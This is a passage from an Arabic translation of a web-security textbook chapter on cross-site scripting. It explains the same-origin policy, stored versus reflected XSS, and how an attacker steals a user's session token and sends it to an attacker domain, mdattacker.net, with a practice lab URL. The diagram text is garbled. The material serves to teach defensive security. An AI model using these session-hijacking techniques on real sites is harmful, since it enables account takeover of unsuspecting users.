ﻭﻫﻮﻧﻄﺎﻕ ﻣﻤﻠﻮﻙ ﻟﻠﻤﻬﺎﺟﻢ .ﻳﺤﺘﻮﻱ ﺍﻟﻄﻠﺐ ﻋﻠﻰ ﺭﻣﺰ ﺟﻠﺴﺔ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﺤﺎﻟﻴﺔ ﻟﻠﺘﻄﺒﻴﻖ:
ﻣﻠﺤﻮﻇﺔﻛﻤﺎ ﺭﺃﻳﺘﻢ ﻓﻲ ﺍﻟﻔﺼﻞ ﺍﻟﺴﺎﺩﺱ ،ﺗﺨُﺰﻥّ ﺑﻌﺾ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﻣﻠﻒ ﺗﻌﺮﻳﻒ ﺍﺭﺗﺒﺎﻁ ﺩﺍﺉﻢ
ﻳﻌُﻴﺪﻣﺼﺎﺩﻗﺔ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺑﻔﻌﺎﻟﻴﺔ ﻓﻲ ﻛﻞ ﺯﻳﺎﺭﺓ ،ﻣﺜﻼ ًﻟﺘﻄﺒﻴﻖ ﺧﺎﺻﻴﺔ "ﺗﺬﻛﺮﻧﻲ" .ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ ،ﻻ
ﺩﺍﻋﻲﻟﻠﺨﻄﻮﺓ ﺍﻷﻭﻟﻰ ﻣﻦ ﺍﻟﻌﻤﻠﻴﺔ ﺍﻟﺴﺎﺑﻘﺔ .ﺳﻴﻨﺠﺢ ﺍﻟﻬﺠﻮﻡ ﺣﺘﻰ ﻟﻮ ﻟﻢ ﻳﻜﻦ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﻤﺴﺘﻬﺪﻑ
ﻣﺴُﺠﻼّ ًﺩﺧﻮﻟﻪ ﺇﻟﻰ ﺍﻟﺘﻄﺒﻴﻖ ﺃﻭ ﻻ ﻳﺴﺘﺨﺪﻣﻪ .ﻟﻬﺬﺍ ﺍﻟﺴﺒﺐ ،ﺗﺼُﺒﺢ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺍﻟﺘﻲ ﺗﺴﺘﺨﺪﻡ
ﻣﻠﻔﺎﺕﺗﻌﺮﻳﻒ ﺍﻻﺭﺗﺒﺎﻁ ﺑﻬﺬﻩ ﺍﻟﻄﺮﻳﻘﺔ ﺃﻛﺜﺮ ﻋﺮُﺿﺔ ًﻟﺨﻄﺮ ﺃﻱ ﺛﻐﺮﺍﺕ XSSﺗﺤﺘﻮﻱ ﻋﻠﻴﻬﺎ.
ﺑﻌﺪﻗﺮﺍءﺓ ﻛﻞ ﻫﺬﺍ ،ﻗﺪ ﻳﻐُﻔﺮ ﻟﻚ ﺗﺴﺎﺅﻟﻚ :ﻟﻤﺎﺫﺍ ،ﺇﺫﺍ ﻛﺎﻥ ﺍﻟﻤﻬﺎﺟﻢ ﻗﺎﺩﺭﺍً ﻋﻠﻰ ﺣﺚ ﺍﻟﻤﺴﺘﺨﺪﻡ
ﻋﻠﻰﺯﻳﺎﺭﺓ ﺭﺍﺑﻂ ﻣﻦ ﺍﺧﺘﻴﺎﺭﻩ ،ﻳﻜُﻠﻒ ﻧﻔﺴﻪ ﻋﻨﺎء ﻧﻘﻞ ﺷﻔﺮﺓ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ ﺍﻟﺨﺒﻴﺜﺔ ﻋﺒﺮ ﺛﻐﺮﺓ XSSﻓﻲ
ﺍﻟﺘﻄﺒﻴﻖﺍﻟﻤﻌُﺮﺽّ ﻟﻠﺨﻄﺮ؟ ﻟﻤﺎﺫﺍ ﻻ ﻳﺴﺘﻀﻴﻒ ﺑﺒﺴﺎﻃﺔ ﻧﺼﺎً ﺑﺮﻣﺠﻴﺎً ﺧﺒﻴﺜﺎً ﻋﻠﻰmdattacker.net...
ﻭﺃﺭﺳﻞﻟﻠﻤﺴﺘﺨﺪﻡ ﺭﺍﺑﻄﺎً ﻣﺒﺎﺷﺮﺍً ﻟﻬﺬﺍ ﺍﻟﻨﺺ؟ ﺃﻟﻦ ﻳﻨُﻔﺬَّ ﻫﺬﺍ ﺍﻟﻨﺺ ﺑﻨﻔﺲ ﺍﻟﻄﺮﻳﻘﺔ ﺍﻟﻤﻮﺿﺤﺔ ﻓﻲ
ﺍﻟﻤﺜﺎﻝ؟
ﻟﻔﻬﻢﺳﺒﺐ ﺣﺎﺟﺔ ﺍﻟﻤﻬﺎﺟﻢ ﻻﺳﺘﻐﻼﻝ ﺛﻐﺮﺓ ،XSSﺗﺬﻛﺮ ﺳﻴﺎﺳﺔ ﺍﻟﻤﺼﺪﺭ ﻧﻔﺴﻪ ﺍﻟﻤﻮﺿﺤﺔ ﻓﻲ
ﺍﻟﻔﺼﻞ .3ﺗﻔﺼﻞ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﺍﻟﻤﺤﺘﻮﻯ ﺍﻟﻤﺴُﺘﻘﺒﻞَ ﻣﻦ ﻣﺼﺎﺩﺭ )ﻧﻄﺎﻗﺎﺕ( ﻣﺨﺘﻠﻔﺔ ﻓﻲ ﻣﺤﺎﻭﻟﺔ
ﻟﻤﻨﻊﺗﺪﺍﺧﻞ ﺍﻟﻨﻄﺎﻗﺎﺕ ﺍﻟﻤﺨﺘﻠﻔﺔ ﻣﻊ ﺑﻌﻀﻬﺎ ﺍﻟﺒﻌﺾ ﺩﺍﺧﻞ ﻣﺘﺼﻔﺢ ﺍﻟﻤﺴﺘﺨﺪﻡ .ﻻ ﻳﻘﺘﺼﺮ ﻫﺪﻑ
ﺍﻟﻤﻬﺎﺟﻢﻋﻠﻰ ﺗﻨﻔﻴﺬ ﻧﺺ ﺑﺮﻣﺠﻲ ﻋﺸﻮﺍﺉﻲ ،ﺑﻞ ﻳﺸﻤﻞ ﺃﻳﻀﺎً ﺍﻻﺳﺘﻴﻼء ﻋﻠﻰ ﺭﻣﺰ ﺟﻠﺴﺔ ﺍﻟﻤﺴﺘﺨﺪﻡ.
ﻻﺗﺴﻤﺢ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﻷﻱ ﻧﺺ ﺑﺮﻣﺠﻲ ﻋﺎﺩﻱ ﺑﺎﻟﻮﺻﻮﻝ ﺇﻟﻰ ﻣﻠﻔﺎﺕ ﺗﻌﺮﻳﻒ ﺍﺭﺗﺒﺎﻁ ﺍﻟﻨﻄﺎﻕ؛ ﻭﺇﻻ،
ﻟﻜﺎﻥﺍﺧﺘﻄﺎﻑ ﺍﻟﺠﻠﺴﺔ ﺳﻬﻼ ً.ﺑﺪﻻ ًﻣﻦ ﺫﻟﻚ ،ﻻ ﻳﻤﻜﻦ ﺍﻟﻮﺻﻮﻝ ﺇﻟﻰ ﻣﻠﻔﺎﺕ ﺗﻌﺮﻳﻒ ﺍﻻﺭﺗﺒﺎﻁ ﺇﻻ ﻣﻦ
ﻗﺒِﻞﺍﻟﻨﻄﺎﻕ ﺍﻟﺬﻱ ﺃﺻﺪﺭﻫﺎ .ﺗﺮُﺳﻞَ ﻫﺬﻩ ﺍﻟﻤﻠﻔﺎﺕ ﻓﻲ ﻃﻠﺒﺎﺕ HTTPﺇﻟﻰ ﺍﻟﻨﻄﺎﻕ ﺍﻟﻤﺼُﺪﺭ ﻓﻘﻂ،
ﻭﻳﻤﻜﻦﺍﻟﻮﺻﻮﻝ ﺇﻟﻴﻬﺎ ﻋﺒﺮ
ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ 438
ﺟﺎﻓﺎﺳﻜﺮﻳﺒﺖ ﻣﻀﻤﻨﺔ ﺃﻭ ﻣﺤُﻤﻠّﺔ ﺑﺼﻔﺤﺔ ﻳﺮُﺟﻌﻬﺎ ﻫﺬﺍ ﺍﻟﻨﻄﺎﻕ ﻓﻘﻂ .ﻟﺬﺍ ،ﺇﺫﺍ ﻛﺎﻥ ﺍﻟﻨﺺ ﺍﻟﺒﺮﻣﺠﻲ
ﻣﻮﺟﻮﺩﺍًﻋﻠﻰmdattacker.netﺍﻻﺳﺘﻔﺴﺎﺭﺍﺕﻣﻠﻒ ﺗﻌﺮﻳﻒ ﺍﻻﺭﺗﺒﺎﻁ ،document.cookieﻟﻦ ﻳﺤﺼﻞ ﻋﻠﻰ
ﻣﻠﻔﺎﺕﺗﻌﺮﻳﻒ ﺍﻻﺭﺗﺒﺎﻁ ﺍﻟﺼﺎﺩﺭﺓ ﻋﻦmdsec.net،ﻭﺳﻮﻑ ﻳﻔﺸﻞ ﻫﺠﻮﻡ ﺍﻻﺧﺘﻄﺎﻑ.
ﺍﻟﺴﺒﺐﻭﺭﺍء ﻧﺠﺎﺡ ﺍﻟﻬﺠﻮﻡ ﺍﻟﺬﻱ ﻳﺴﺘﻐﻞ ﺛﻐﺮﺓ XSSﻫﻮ ﺃﻧﻪ ﻓﻴﻤﺎ ﻳﺘﻌﻠﻖ ﺑﻤﺘﺼﻔﺢ ﺍﻟﻤﺴﺘﺨﺪﻡ،
ﻓﺈﻥﻟﻐﺔ JavaScriptﺍﻟﺨﺒﻴﺜﺔ ﺍﻟﺨﺎﺻﺔ ﺑﺎﻟﻤﻬﺎﺟﻢ ﻛﺎﻥﺃﺭﺳﻠﺖ ﺇﻟﻴﻪ ﺑﻮﺍﺳﻄﺔmdsec.net.ﻋﻨﺪﻣﺎ ﻳﻄﻠﺐ
ﺍﻟﻤﺴﺘﺨﺪﻡﻋﻨﻮﺍﻥ URLﺍﻟﺨﺎﺹ ﺑﺎﻟﻤﻬﺎﺟﻢ،
ﻳﻘﻮﻡﺍﻟﻤﺘﺼﻔﺢ ﺑﺈﺭﺳﺎﻝ ﻃﻠﺐ ﺇﻟﻰhttp://mdsec.net/error/5/Error.ashx ،ﻭ ﺍﻝ
ﻳﺮُﺟﻊﺍﻟﺘﻄﺒﻴﻖ ﺻﻔﺤﺔ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﺑﻌﺾ ﻣﻠﻔﺎﺕ .JavaScriptﻛﻤﺎ ﻫﻮ ﺍﻟﺤﺎﻝ ﻣﻊ ﺃﻱ JavaScript
ﻣﺴُﺘﻠﻢَﻣﻦmdsec.net،ﻳﻘﻮﻡ ﺍﻟﻤﺘﺼﻔﺢ ﺑﺘﻨﻔﻴﺬ ﻫﺬﺍ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺿﻤﻦ ﺳﻴﺎﻕ ﺍﻷﻣﺎﻥ ﺍﻟﺨﺎﺹ
ﺑﻌﻼﻗﺔﺍﻟﻤﺴﺘﺨﺪﻡ ﻣﻊmdsec.net.ﻟﻬﺬﺍ ﺍﻟﺴﺒﺐ ،ﻳﻤﻜﻦ ﻟﻨﺺ ﺍﻟﻤﻬﺎﺟﻢ ،ﻋﻠﻰ ﺍﻟﺮﻏﻢ ﻣﻦ ﺃﻧﻪ ﻳﻨﺸﺄ ﻓﻲ
ﺍﻟﻮﺍﻗﻊﻓﻲ ﻣﻜﺎﻥ ﺁﺧﺮ ،ﺍﻟﻮﺻﻮﻝ ﺇﻟﻰ ﻣﻠﻔﺎﺕ ﺗﻌﺮﻳﻒ ﺍﻻﺭﺗﺒﺎﻁ ﺍﻟﺼﺎﺩﺭﺓ ﻋﻦmdsec.net.ﻭﻫﺬﺍ ﻫﻮ
ﺍﻟﺴﺒﺐﺃﻳﻀﺎً ﻭﺭﺍء ﺃﻥ ﺍﻟﺜﻐﺮﺓ ﻧﻔﺴﻬﺎ ﺃﺻﺒﺤﺖ ﻣﻌﺮﻭﻓﺔ ﺑﺎﺳﻢﻳﻌﺒﺮ-ﺑﺮﻣﺠﺔ ﺍﻟﻤﻮﺍﻗﻊ.
ﺛﻐﺮﺍﺕ XSSﺍﻟﻤﺨﺰﻧﺔ
ﻏﺎﻟﺒﺎًﻣﺎ ﻳﻄُﻠﻖ ﻋﻠﻰ ﻓﺉﺔ ﻣﺨﺘﻠﻔﺔ ﻣﻦ ﺛﻐﺮﺍﺕ XSSﺍﺳﻢﻣﺨﺰﻧﺔﺑﺮﻣﺠﺔ ﻧﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ .ﻳﺤﺪﺙ ﻫﺬﺍ
ﺍﻟﻨﻮﻉﻋﻨﺪﻣﺎ ﺗﺨُﺰﻥَّ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﻤﺮُﺳﻠَﺔ ﻣﻦ ﻗﺒِﻞَ ﻣﺴﺘﺨﺪﻡ ﻭﺍﺣﺪ ﻓﻲ ﺍﻟﺘﻄﺒﻴﻖ )ﻋﺎﺩﺓ ًﻓﻲ ﻗﺎﻋﺪﺓ ﺑﻴﺎﻧﺎﺕ
ﺧﻠﻔﻴﺔ( ،ﺛﻢ ﺗﻌُﺮﺽَ ﻋﻠﻰ ﻣﺴﺘﺨﺪﻣﻴﻦ ﺁﺧﺮﻳﻦ ﺩﻭﻥ ﺗﺼﻔﻴﺔ ﺃﻭ ﺗﻨﻘﻴﺢ ﻛﻤﺎ ﻳﻨﺒﻐﻲ.
ﻋﺎﺩﺓ ًﻣﺎ ﺗﺘﻀﻤﻦ ﺍﻟﻬﺠﻤﺎﺕ ﻋﻠﻰ ﺛﻐﺮﺍﺕ XSSﺍﻟﻤﺨُﺰﻧّﺔ ﻃﻠﺒﻴﻦ ﻋﻠﻰ ﺍﻷﻗﻞ ﻟﻠﺘﻄﺒﻴﻖ .ﻓﻲ ﺍﻟﻄﻠﺐ
ﺍﻷﻭﻝ،ﻳﻨﺸﺮ ﺍﻟﻤﻬﺎﺟﻢ ﺑﻴﺎﻧﺎﺕ ﻣﻌُﺪﺓّ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﺷﻴﻔﺮﺓ ﺿﺎﺭﺓ ﻳﺨُﺰﻧّﻬﺎ ﺍﻟﺘﻄﺒﻴﻖ .ﻭﻓﻲ ﺍﻟﻄﻠﺐ ﺍﻟﺜﺎﻧﻲ،
ﻳﻄﻠّﻊﺍﻟﻀﺤﻴﺔ ﻋﻠﻰ ﺻﻔﺤﺔ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﺑﻴﺎﻧﺎﺕ ﺍﻟﻤﻬﺎﺟﻢ ،ﻭﻳﺘﻢ ﺗﻨﻔﻴﺬ ﺍﻟﺸﻴﻔﺮﺓ ﺍﻟﻀﺎﺭﺓ ﻋﻨﺪ ﺗﺸﻐﻴﻞ
ﺍﻟﺒﺮﻧﺎﻣﺞﺍﻟﻨﺼﻲ ﻓﻲ ﻣﺘﺼﻔﺢ ﺍﻟﻀﺤﻴﺔ .ﻟﻬﺬﺍ ﺍﻟﺴﺒﺐ ،ﺗﺴُﻤﻰ ﻫﺬﻩ ﺍﻟﺜﻐﺮﺓ ﺃﺣﻴﺎﻧﺎً ﺑـﺛﺎﻧﻴﺔ-ﻃﻠﺐ
ﻫﺠﻤﺎﺕﺑﺮﻣﺠﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ) .ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ ،ﻳﻌُﺪ ّ" "XSSﺗﺴﻤﻴﺔ ًﺧﺎﻃﺉﺔ ً،ﻷﻥ ﺍﻟﻬﺠﻮﻡ ﻻ ﻳﺘﻀﻤﻦ
ﺃﻱﻋﻨﺼﺮ ﺑﺮﻣﺠﻲ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ .ﻣﻊ ﺫﻟﻚ ،ﻳﺴُﺘﺨﺪﻡ ﺍﻻﺳﻢ ﻋﻠﻰ ﻧﻄﺎﻕ ﻭﺍﺳﻊ ،ﻟﺬﺍ ﺳﻨﺤﺘﻔﻆ ﺑﻪ ﻫﻨﺎ(.
ﻳﻮﺿﺢﺍﻟﺸﻜﻞ 4-12ﻛﻴﻒ ﻳﻤﻜﻦ ﻟﻠﻤﻬﺎﺟﻢ ﺍﺳﺘﻐﻼﻝ ﺛﻐﺮﺓ XSSﺍﻟﻤﺨﺰﻧﺔ ﻟﺘﻨﻔﻴﺬ ﻧﻔﺲ ﻫﺠﻮﻡ
ﺍﺧﺘﻄﺎﻑﺍﻟﺠﻠﺴﺔ ﻛﻤﺎ ﻫﻮ ﻣﻮﺿﺢ ﻟـ XSSﺍﻟﻤﻨﻌﻜﺲ.
439 ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ
ﻃﻠﺐ
.5ﺍﻟﻤﻬﺎﺟﻢ
ﺟﺎﻓﺎﺳﻜﺮﻳﺒﺖ
ﻳﻨﻔﺬﻓﻲ
.6ﻳﺮﺳﻞ ﻣﺘﺼﻔﺢ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺭﻣﺰ ﺍﻟﺠﻠﺴﺔ ﺇﻟﻰ ﺍﻟﻤﻬﺎﺟﻢ
ﻣﺘﺼﻔﺢﺍﻟﻤﺴﺘﺨﺪﻡ
ﻣﻬﺎﺟﻢ ﻣﺴﺘﺨﺪﻡ
ﻱ
ﺸ
ﺘﻮ
ﺎﻫ
.2ﺗ
ﻳﺤ
ﺴﺠ
.4ﻳ rip
ﺟﺮﺑﻬﺎ!
ﺪﺍ
ﺪﻡ
ﻴﻞ
ﻻً
ﺴ
ﻟﻤ
ﺘﺨ
ﺩ
ﺘﺠﻴ va
ﺳﺆﺍ
ﺧﻮ
t
ﺴ
ﺴ
ﻝﺍ
ﺐ
ﻟﻤ
ﺘﺨ
ﻟﻤ
Sc
ﺟﻢ
ﺴ
ﺔﺍ
ﺿﺎﺭ
ﺍﻟﺨ ﺨﺎ
ﻳﺤﺘﻮﻱﻫﺬﺍ ﺍﻟﻤﺜﺎﻝ ﻋﻠﻰ ﺩﺍﻟﺔ ﺑﺤﺚ ﺗﻌﺮﺽ ﺍﻻﺳﺘﻌﻼﻡ ﺍﻟﺬﻱ ﻳﺪُﺧﻠﻪ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﺤﺎﻟﻲ ،ﺑﺎﻹﺿﺎﻓﺔ
ﺘﺨ
ﺪﻡ
ﺴ
ﺪﻡ
ﺍﻟﻤﻬ aScﻬﺎ
ﺎﺩ
Ja
ﺟﻠ
ﺳﺆ
ﻡﺑ
ﻟﻤ
Ja
ﺍﻟ
ﻑ
ﺇﻟﻰﻗﺎﺉﻤﺔ ﺑﺎﻻﺳﺘﻌﻼﻣﺎﺕ ﺍﻟﺤﺪﻳﺜﺔ ﺍﻟﺘﻲ ﺃﺟﺮﺍﻫﺎ ﻣﺴﺘﺨﺪﻣﻮﻥ ﺁﺧﺮﻭﻥ .ﻭﻷﻥ ﺍﻻﺳﺘﻌﻼﻣﺎﺕ ﺗﻌُﺮﺽ
ﺎ
ripﻞ ﺍ
ﺳﺘ
v
ﺍﻝ
ﻄﺎ
ﺹ
ﺨﺪ
.7ﻠﻰ tﺳ
ﺧﺘ
ﺍﻟ
ﺍﻡ
ﺑﺎ
ﺩﻭﻥﺗﻌﺪﻳﻞ ،ﻓﺈﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻣﻌﺮﺽ ﻟﺨﻄﺮ ﺛﻐﺮﺍﺕ XSSﺍﻟﻤﻨﻌﻜﺴﺔ ﻭﺍﻟﻤﺨﺰﻧﺔ .ﺣﺎﻭﻝ ﺍﻟﻌﺜﻮﺭ ﻋﻠﻰ ﻛﻠﺘﺎ
ﻤﻬ
ﻋ .ﻳﺮ
ﺑﺎ
ﻟﻤ
ﻢ
1
ﻬﺎ
ﺎ
ﺎﺟ
ﺟﻢ
ﺟﻢ
ﺍﻟﺜﻐﺮﺗﻴﻦ.
ﻮﻡ
ﻳﻘ
http://mdsec.net/search/11/
ﻫﻨﺎﻙﻓﺮﻗﺎﻥ ﻣﻬﻤﺎﻥ ﺑﻴﻦ ﻫﺠﻤﺎﺕ XSSﺍﻟﻤﻨﻌﻜﺴﺔ ﻭﺍﻟﻤﺨﺰﻧﺔ ﻓﻲ ﻋﻤﻠﻴﺔ ﺍﻟﻬﺠﻮﻡ .ﻋﺎﺩﺓ ًﻣﺎ ﺗﻜﻮﻥ
ﻫﺠﻤﺎﺕ XSSﺍﻟﻤﺨﺰﻧﺔ ﺃﻛﺜﺮ ﺧﻄﻮﺭﺓ ﻣﻦ ﺍﻟﻨﺎﺣﻴﺔ ﺍﻷﻣﻨﻴﺔ.
ﺃﻭﻻً،ﻓﻲ ﺣﺎﻟﺔ ﺛﻐﺮﺍﺕ XSSﺍﻟﻤﻨﻌﻜﺴﺔ ،ﻻﺳﺘﻐﻼﻝ ﺍﻟﺜﻐﺮﺓ ،ﻳﺠﺐ ﻋﻠﻰ ﺍﻟﻤﻬﺎﺟﻢ ﺣﺚ ّﺍﻟﻀﺤﺎﻳﺎ ﻋﻠﻰ
ﺯﻳﺎﺭﺓﻋﻨﻮﺍﻥ URLﺍﻟﻤﺼُﻤﻢّ ﻟﻪ .ﺃﻣﺎ ﻓﻲ ﺣﺎﻟﺔ ﺛﻐﺮﺍﺕ XSSﺍﻟﻤﺨُﺰﻧّﺔ ،ﻓﻴﺘﻢ ﺗﺠﻨﺐّ ﻫﺬﺍ ﺍﻟﺸﺮﻁ .ﺑﻌﺪ
ﻧﺸﺮﻫﺠﻤﺘﻪ ﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ ،ﻣﺎ ﻋﻠﻰ ﺍﻟﻤﻬﺎﺟﻢ ﺳﻮﻯ ﺍﻧﺘﻈﺎﺭ ﺍﻟﻀﺤﺎﻳﺎ ﻟﻠﻮﺻﻮﻝ ﺇﻟﻰ ﺍﻟﺼﻔﺤﺔ ﺃﻭ
ﺍﻟﻮﻇﻴﻔﺔﺍﻟﻤﺨُﺘﺮﻗَﺔ .ﻋﺎﺩﺓ ًﻣﺎ ﺗﻜﻮﻥ ﻫﺬﻩ ﺻﻔﺤﺔ ﻋﺎﺩﻳﺔ ﻣﻦ ﺍﻟﺘﻄﺒﻴﻖ ،ﻭﻳﺼﻞ ﺇﻟﻴﻬﺎ ﺍﻟﻤﺴﺘﺨﺪﻣﻮﻥ
ﺍﻟﻌﺎﺩﻳﻮﻥﺗﻠﻘﺎﺉﻴﺎً.
ﺛﺎﻧﻴﺎً،ﻋﺎﺩﺓ ًﻣﺎ ﻳﺘﺤﻘﻖ ﻫﺪﻑ ﺍﻟﻤﻬﺎﺟﻢ ﻣﻦ ﺍﺳﺘﻐﻼﻝ ﺛﻐﺮﺓ XSSﺑﺴﻬﻮﻟﺔ ﺃﻛﺒﺮ ﺇﺫﺍ ﻛﺎﻥ ﺍﻟﻀﺤﻴﺔ
ﻳﺴﺘﺨﺪﻡﺍﻟﺘﻄﺒﻴﻖ ﻭﻗﺖ ﺍﻟﻬﺠﻮﻡ .ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﺇﺫﺍ ﻛﺎﻥ ﻟﺪﻯ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺟﻠﺴﺔ ﺣﺎﻟﻴﺔ ،ﻓﻴﻤﻜﻦ
ﺍﺧﺘﺮﺍﻗﻬﺎﻓﻮﺭﺍً .ﻓﻲ ﻫﺠﻮﻡ XSSﺍﻟﻤﻨُﻌﻜﺲ ،ﻗﺪ ﻳﺤﺎﻭﻝ ﺍﻟﻤﻬﺎﺟﻢ ﻫﻨﺪﺳﺔ ﻫﺬﺍ ﺍﻟﻮﺿﻊ ﻋﻦ ﻃﺮﻳﻖ ﺇﻗﻨﺎﻉ
ﺍﻟﻤﺴﺘﺨﺪﻡﺑﺘﺴﺠﻴﻞ ﺍﻟﺪﺧﻮﻝ ﺛﻢ ﺍﻟﻨﻘﺮ ﻋﻠﻰ ﺭﺍﺑﻂ ﻳﺮُﺳﻠﻪ .ﺃﻭ ﻗﺪ ﻳﺤﺎﻭﻝ ﻧﺸﺮ ﺣﻤﻮﻟﺔ ﺩﺍﺉﻤﺔ ﺗﻨﺘﻈﺮ
ﺣﺘﻰﻳﺴُﺠﻞ ﺩﺧﻮﻟﻪ .ﻭﻣﻊ ﺫﻟﻚ،
ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ 440
ﻓﻲﻫﺠﻮﻡ XSSﺍﻟﻤﺨُﺰﻥَّ ،ﻋﺎﺩﺓ ًﻣﺎ ﻳﻜﻮﻥ ﻣﻦ ﺍﻟﻤﺆﻛﺪ ﺃﻥ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﻟﻀﺤﺎﻳﺎ ﺳﻴﻜﻮﻧﻮﻥ ﻗﺪ ﻭﺻﻠﻮﺍ
ﺇﻟﻰﺍﻟﺘﻄﺒﻴﻖ ﻭﻗﺖ ﻭﻗﻮﻉ ﺍﻟﻬﺠﻮﻡ .ﻭﻷﻥ ﺣﻤﻮﻟﺔ ﺍﻟﻬﺠﻮﻡ ﻣﺨُﺰﻧَّﺔ ﺩﺍﺧﻞ ﺻﻔﺤﺔ ﻣﻦ ﺍﻟﺘﻄﺒﻴﻖ ،ﻭﻳﺼﻞ
ﺇﻟﻴﻬﺎﺍﻟﻤﺴﺘﺨﺪﻣﻮﻥ ﺗﻠﻘﺎﺉﻴﺎً ،ﻓﺈﻥ ﺃﻱ ﺿﺤﻴﺔ ﻟﻠﻬﺠﻮﻡ ﺳﺘﻜﻮﻥ ،ﺑﺤﻜﻢ ﺍﻟﺘﻌﺮﻳﻒ ،ﻣﺴﺘﺨﺪﻣﺔ ﻟﻠﺘﻄﺒﻴﻖ
ﻟﺤﻈﺔﺗﻨﻔﻴﺬ ﺍﻟﺤﻤﻮﻟﺔ .ﻋﻼﻭﺓ ﻋﻠﻰ ﺫﻟﻚ ،ﺇﺫﺍ ﻛﺎﻧﺖ ﺍﻟﺼﻔﺤﺔ ﺍﻟﻤﻌﻨﻴﺔ ﺿﻤﻦ ﺍﻟﻤﻨﻄﻘﺔ ﺍﻟﻤﺼُﺪﻗَّﺔ
ﻟﻠﺘﻄﺒﻴﻖ،ﻓﻴﺠﺐ ﺃﻥ ﻳﻜﻮﻥ ﺃﻱ ﺿﺤﻴﺔ ﻟﻠﻬﺠﻮﻡ ﻣﺴُﺠﻞِّ ﺍﻟﺪﺧﻮﻝ ﻓﻲ ﺫﻟﻚ ﺍﻟﻮﻗﺖ.
ﻫﺬﻩﺍﻻﺧﺘﻼﻓﺎﺕ ﺑﻴﻦ ﺛﻐﺮﺍﺕ XSSﺍﻟﻤﻨﻌﻜﺴﺔ ﻭﺍﻟﻤﺨﺰﻧﺔ ﺗﻌﻨﻲ ﺃﻥ ﺛﻐﺮﺍﺕ XSSﺍﻟﻤﺨﺰﻧﺔ ﻏﺎﻟﺒﺎً ﻣﺎ
ﺗﻜﻮﻥﺣﺮﺟﺔ ﻷﻣﻦ ﺍﻟﺘﻄﺒﻴﻖ .ﻓﻲ ﻣﻌﻈﻢ ﺍﻟﺤﺎﻻﺕ ،ﻳﻤﻜﻦ ﻟﻠﻤﻬﺎﺟﻢ ﺇﺭﺳﺎﻝ ﺑﻴﺎﻧﺎﺕ ﻣﻌُﺪﺓّ ﻣﺴﺒﻘﺎً ﺇﻟﻰ
ﺍﻟﺘﻄﺒﻴﻖﺛﻢ ﺍﻧﺘﻈﺎﺭ ﻭﺻﻮﻟﻬﺎ ﺇﻟﻰ ﺍﻟﻀﺤﺎﻳﺎ .ﺇﺫﺍ ﻛﺎﻥ ﺃﺣﺪ ﻫﺆﻻء ﺍﻟﻀﺤﺎﻳﺎ ﻣﺴﺆﻭﻻً ،ﻓﺴﻴﻜﻮﻥ ﺍﻟﻤﻬﺎﺟﻢ
ﻗﺪﺍﺧﺘﺮﻕ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺄﻛﻤﻠﻪ.
ﻣﻀﻤﻦ.
ﻻﺗﺤﺘﻮﻱ ﺍﺳﺘﺠﺎﺑﺔ ﺍﻟﺨﺎﺩﻡ ﻋﻠﻰ ﻧﺺ ﺍﻟﻤﻬﺎﺟﻢ ﺑﺄﻱ ﺷﻜﻞ ﻣﻦ ﺍﻷﺷﻜﺎﻝ. -
ﻋﻨﺪﻣﺎﻳﻘﻮﻡ ﻣﺘﺼﻔﺢ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺑﻤﻌﺎﻟﺠﺔ ﻫﺬﻩ ﺍﻻﺳﺘﺠﺎﺑﺔ ،ﺳﻴﺘﻢ ﺗﻨﻔﻴﺬ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﻋﻠﻰ -
ﺍﻟﺮﻏﻢﻣﻦ ﺫﻟﻚ.
